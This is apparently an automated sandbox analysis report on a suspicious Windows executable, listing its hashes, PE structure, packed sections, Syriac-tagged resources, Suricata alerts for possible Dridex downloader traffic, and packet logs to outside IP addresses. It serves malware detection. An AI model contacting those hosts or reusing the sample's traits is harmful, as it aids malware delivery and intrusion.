                                                                                                                                                                                                                                    • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                    File name:file.exe
                                                                                                                                                                                                                                    File size:1'985'024 bytes
                                                                                                                                                                                                                                    MD5:5a3f6aa1107d91bdc0430e2a0c1f4f26
                                                                                                                                                                                                                                    SHA1:316139dd3edcd5af3a8afbd89e44ac10bb8e87e7
                                                                                                                                                                                                                                    SHA256:f43ded143a77002b6aa1b860aecca5b94e00a601d1db104d04423e3b5e0261ca
                                                                                                                                                                                                                                    SHA512:712f40770c3d645e54aac46ecb6cf51065ae30253e39e5fda861191d23aa2be2bb1d1e69043610f9ad22f2c86c532c759c2a4e06277b85c056e1c9f097c9143a
                                                                                                                                                                                                                                    SSDEEP:24576:rP+AXJnenhDBV6oXTQ0pCPx2WOe7XKFdJ14xvKuvOy+EJvXWSNuMERtWYX4bmn2p:rP9JotV6ojQnYOyPDFEpXD4MEX3Cmni
                                                                                                                                                                                                                                    TLSH:95953386D9564AADEA234F3B9B1ABFF6BAC4E7334D91813D7749D2ADD470310DA10B00
                                                                                                                                                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................
                                                                                                                                                                                                                                    Icon Hash:c7a99a8aa651798c
                                                                                                                                                                                                                                    Entrypoint:0xc78000
                                                                                                                                                                                                                                    Entrypoint Section:.taggant
                                                                                                                                                                                                                                    Digitally signed:false
                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                    Subsystem:windows gui
                                                                                                                                                                                                                                    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                                                    DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                    Time Stamp:0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
                                                                                                                                                                                                                                    TLS Callbacks:
                                                                                                                                                                                                                                    CLR (.Net) Version:
                                                                                                                                                                                                                                    OS Version Major:5
                                                                                                                                                                                                                                    OS Version Minor:0
                                                                                                                                                                                                                                    File Version Major:5
                                                                                                                                                                                                                                    File Version Minor:0
                                                                                                                                                                                                                                    Subsystem Version Major:5
                                                                                                                                                                                                                                    Subsystem Version Minor:0
                                                                                                                                                                                                                                    Import Hash:2eabe9054cad5152567f0699947a2c5b
                                                                                                                                                                                                                                    Instruction
                                                                                                                                                                                                                                    jmp 00007FE2B06F58EAh
                                                                                                                                                                                                                                    movaps xmm3, dqword ptr [esi]
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add cl, ch
                                                                                                                                                                                                                                    add byte ptr [eax], ah
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                                                                                    Programming Language:
                                                                                                                                                                                                                                    • [C++] VS2008 build 21022
                                                                                                                                                                                                                                    • [ASM] VS2008 build 21022
                                                                                                                                                                                                                                    • [ C ] VS2008 build 21022
                                                                                                                                                                                                                                    • [IMP] VS2005 build 50727
                                                                                                                                                                                                                                    • [RES] VS2008 build 21022
                                                                                                                                                                                                                                    • [LNK] VS2008 build 21022
                                                                                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x42105a0x6e.idata
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x40e0000x12168.rsrc
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x86b8200x18ehftnwgk
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                    0x10000x40d0000x2540060126e1391167d11ded7bb01b3e6e81cunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    .rsrc0x40e0000x121680x94008d24dfa4a0b892641ec228e50caa6840False0.962890625data7.880154306315445IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    .idata 0x4210000x10000x200de906030ab088402d586a76aa6666758False0.15234375data1.0884795995201089IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    0x4220000x2a20000x2009400d7267bad02ed8c9fa85aae2949eeunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    ehftnwgk0x6c40000x1b30000x1b280012621e8f817cf1f8fdf22293d58c5cb2False0.9853060495181243data7.94243036954353IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    unlnktmr0x8770000x10000x4005bb0858aa816561a2aa8dd581596e22fFalse0.77734375data6.114812324627289IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    .taggant0x8780000x30000x2200d26bde493fa36bd755d8e5e1edbdaa06False0.006548713235294118DOS executable (COM)0.019571456231530684IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                    RT_CURSOR0x40e7300x130data1.0361842105263157
                                                                                                                                                                                                                                    RT_CURSOR0x40e8600x25a8data1.0011410788381743
                                                                                                                                                                                                                                    RT_CURSOR0x410e080xea8data1.0029317697228144
                                                                                                                                                                                                                                    RT_ICON0x86b8800xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0SyriacSyriac0.3648720682302772
                                                                                                                                                                                                                                    RT_ICON0x86c7280x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0SyriacSyriac0.5063176895306859
                                                                                                                                                                                                                                    RT_ICON0x86cfd00x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 0SyriacSyriac0.5881336405529954
                                                                                                                                                                                                                                    RT_ICON0x86d6980x568Device independent bitmap graphic, 16 x 32 x 8, image size 0SyriacSyriac0.619942196531792
                                                                                                                                                                                                                                    RT_ICON0x86dc000x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0SyriacSyriac0.3574108818011257
                                                                                                                                                                                                                                    RT_ICON0x86eca80x988Device independent bitmap graphic, 24 x 48 x 32, image size 0SyriacSyriac0.3536885245901639
                                                                                                                                                                                                                                    RT_ICON0x86f6300x468Device independent bitmap graphic, 16 x 32 x 32, image size 0SyriacSyriac0.40425531914893614
                                                                                                                                                                                                                                    RT_ICON0x86fa980xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsSyriacSyriac0.7969083155650319
                                                                                                                                                                                                                                    RT_ICON0x8709400x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsSyriacSyriac0.8032490974729242
                                                                                                                                                                                                                                    RT_ICON0x8711e80x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colorsSyriacSyriac0.7350230414746544
                                                                                                                                                                                                                                    RT_ICON0x8718b00x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsSyriacSyriac0.7774566473988439
                                                                                                                                                                                                                                    RT_ICON0x871e180x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216SyriacSyriac0.6827800829875519
                                                                                                                                                                                                                                    RT_ICON0x8743c00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096SyriacSyriac0.7293621013133208
                                                                                                                                                                                                                                    RT_ICON0x8754680x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304SyriacSyriac0.7594262295081967
                                                                                                                                                                                                                                    RT_ICON0x875df00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024SyriacSyriac0.8111702127659575
                                                                                                                                                                                                                                    RT_DIALOG0x41c6880x84empty0
                                                                                                                                                                                                                                    RT_STRING0x41c70c0x4beempty0
                                                                                                                                                                                                                                    RT_STRING0x41cbcc0xc4empty0
                                                                                                                                                                                                                                    RT_STRING0x41cc900x732empty0
                                                                                                                                                                                                                                    RT_STRING0x41d3c40x7bcempty0
                                                                                                                                                                                                                                    RT_STRING0x41db800x5f0empty0
                                                                                                                                                                                                                                    RT_STRING0x41e1700x696empty0
                                                                                                                                                                                                                                    RT_STRING0x41e8080x7c0empty0
                                                                                                                                                                                                                                    RT_STRING0x41efc80x76aempty0
                                                                                                                                                                                                                                    RT_STRING0x41f7340x610empty0
                                                                                                                                                                                                                                    RT_GROUP_CURSOR0x41fd440x22empty0
                                                                                                                                                                                                                                    RT_GROUP_CURSOR0x41fd680x14empty0
                                                                                                                                                                                                                                    RT_GROUP_ICON0x8762580x76dataSyriacSyriac0.6779661016949152
                                                                                                                                                                                                                                    RT_GROUP_ICON0x8762ce0x68dataSyriacSyriac0.7115384615384616
                                                                                                                                                                                                                                    RT_VERSION0x8763360x1b8COM executable for DOS0.5704545454545454
                                                                                                                                                                                                                                    RT_MANIFEST0x8764ee0x152ASCII text, with CRLF line terminators0.6479289940828402
                                                                                                                                                                                                                                    DLLImport
                                                                                                                                                                                                                                    kernel32.dlllstrcpy
                                                                                                                                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                    SyriacSyriac
                                                                                                                                                                                                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                    2024-12-12T16:49:05.832704+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.1149987188.119.66.185443TCP
                                                                                                                                                                                                                                    2024-12-12T16:49:06.512880+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.1149987188.119.66.185443TCP
                                                                                                                                                                                                                                    2024-12-12T16:49:08.095208+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.1149990188.119.66.185443TCP
                                                                                                                                                                                                                                    2024-12-12T16:49:08.823229+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.1149990188.119.66.185443TCP
                                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:58.168742895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:58.288568974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:58.288703918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:58.288933992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:58.638639927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:59.658291101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:59.658385038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:59.677349091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:47:59.798288107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.153918028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.155337095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.176917076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.296837091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743098974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743149996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743186951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743221045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743243933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743243933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743356943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743377924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743377924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743521929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743525028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743603945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743612051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743647099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743665934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743681908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743705034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.743731976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.751703024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.751841068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.751969099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.760132074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.760214090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.863476992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.863614082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.935061932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.935180902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.935295105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.937422037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.937506914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.937568903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.937702894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.945525885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.945662022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.945694923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.946254969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.953531027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.953588963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.953670979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.961623907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.961733103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.961819887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.969522953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.969547987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.969619036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.977437019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.977489948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.977588892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.985497952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.985631943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.985706091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.993525982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.993607044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:00.993681908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.001579046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.001631021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.001729965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.008575916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.008626938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.008722067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.015749931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.015872002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.015877962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.015949965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.055665970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.055757046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.055958986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.127248049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.127456903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.127535105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.129483938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.129520893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.129573107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.129611015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.133248091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.133409977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.133615971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.138108969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.138411999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.138494015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.142942905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.143081903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.143248081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.147547007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.147741079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.147818089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.151971102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.152110100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.152184963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.156409979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.156575918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.156649113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.160850048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.160970926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.161047935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.165597916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.165673971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.165761948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.169778109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.169874907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.169883966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.174216986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.174290895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.174350023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.176079988 CET4981980192.168.2.1180.82.65.70
